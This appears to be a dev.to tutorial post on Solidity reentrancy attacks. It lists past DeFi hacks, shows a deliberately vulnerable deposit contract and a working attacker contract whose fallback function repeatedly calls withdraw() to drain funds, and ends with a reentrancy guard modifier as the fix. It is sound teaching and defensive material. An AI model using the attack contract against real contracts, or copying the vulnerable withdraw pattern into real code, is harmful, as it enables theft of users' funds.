&lt;ul&gt;
&lt;li&gt;Uniswap/Lendf.Me hacks (April 2020) – $25 mln, attacked by a hacker using a reentrancy.&lt;/li&gt;
&lt;li&gt;The BurgerSwap hack (May 2021) – $7.2 mln, because of a fake token contract and a reentrancy exploit.&lt;/li&gt;
&lt;li&gt;The SURGEBNB hack (August 2021) – $4 mln, seems to be a reentrancy-based price manipulation attack.&lt;/li&gt;
&lt;li&gt;CREAM FINANCE hack (August 2021) – $18.8 mln, reentrancy vulnerability allowed the exploiter for the second borrow.&lt;/li&gt;
&lt;li&gt;Siren protocol hack (September 2021) – $3.5 mln, AMM pools were exploited through reentrancy attack.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How does reentrancy attack work?
&lt;/h2&gt;

&lt;p&gt;A reentrancy attack involves two smart contracts. A vulnerable contract and an untrusted attackers contract.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fii6c0m19as9gul1uhtv6.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fii6c0m19as9gul1uhtv6.jpg" alt="Reentrancy Attack in Solidity Smart Contract"&gt;&lt;/a&gt;&lt;br&gt;
Source: &lt;a href="https://cryptomarketpool.com/reentrancy-attack-in-a-solidity-smart-contract/" rel="noopener noreferrer"&gt;https://cryptomarketpool.com/reentrancy-attack-in-a-solidity-smart-contract/&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;
  
  
  Reentrancy attack scenario
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;Vulnerable smart contract have 10 eth.&lt;/li&gt;
&lt;li&gt;An attacker store 1 eth using deposit function.&lt;/li&gt;
&lt;li&gt;An attacker calls the withdraw function and points to a malicious contract as a recipient.&lt;/li&gt;
&lt;li&gt;Now withdraw function will verify if it can be executed:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Does the attacker have 1 eth on their balance? Yes – because     of their deposit.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Transfer 1 eth to a malicious contract. (Note: attacker balance has NOT been updated yet)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Fallback function on received eth calls withdraw function again.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;ol&gt;
&lt;li&gt;Now withdraw function will verify if it can be executed:&lt;/li&gt;
&lt;/ol&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Does the attacker have 1 eth on their balance? Yes – because the balance has not been updated.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Transfer 1 eth to a malicious contract.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;and again until the attacker will drain all the funds stored on the contract&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Below is the contract which contains the reentrancy vulnerability&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract DepositFunds {
    mapping(address =&amp;gt; uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal &amp;gt; 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The vulnerability comes where we send the user their requested amount of ether. In this case, the attacker calls withdraw() function. Since his balance has not yet been set to 0, he is able to transfer the tokens even though he already received tokens.&lt;/p&gt;

&lt;p&gt;Now, let's consider a malicious attacker creating the following contract&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance &amp;gt;= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value &amp;gt;= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The attack function calls the withdraw function in the victim’s contract. When the token is received the fallback function calls back the withdraw function. Since the check is passed contract sends the token to the attacker which triggers the fallback function.  &lt;/p&gt;

&lt;h2&gt;
  
  
  How to protect smart contract against reentrancy attack?
&lt;/h2&gt;

&lt;p&gt;To prevent a reentrancy attack in a Solidity smart contract you should:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Ensure all state changes happen before calling external contracts, i.e. update balances or code internally before calling external code&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Use function modifiers that prevent re-entrancy&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Modifier to prevent a reentrancy attack
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Sources:
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://arxiv.org/pdf/2105.02881.pdf" rel="noopener noreferrer"&gt;https://arxiv.org/pdf/2105.02881.pdf&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://www.securing.pl/pl/reentrancy-attack-in-smart-contracts-is-it-still-a-problem/" rel="noopener noreferrer"&gt;https://www.securing.pl/pl/reentrancy-attack-in-smart-contracts-is-it-still-a-problem/&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a href="https://consensys.github.io/smart-contract-best-practices/known_attacks/#reentrancy" rel="noopener noreferrer"&gt;https://consensys.github.io/smart-contract-best-practices/known_attacks/#reentrancy&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>solidity</category>
      <category>smartcontract</category>
      <category>security</category>
      <category>blockchain</category>
    </item>
  </channel>
</rss>
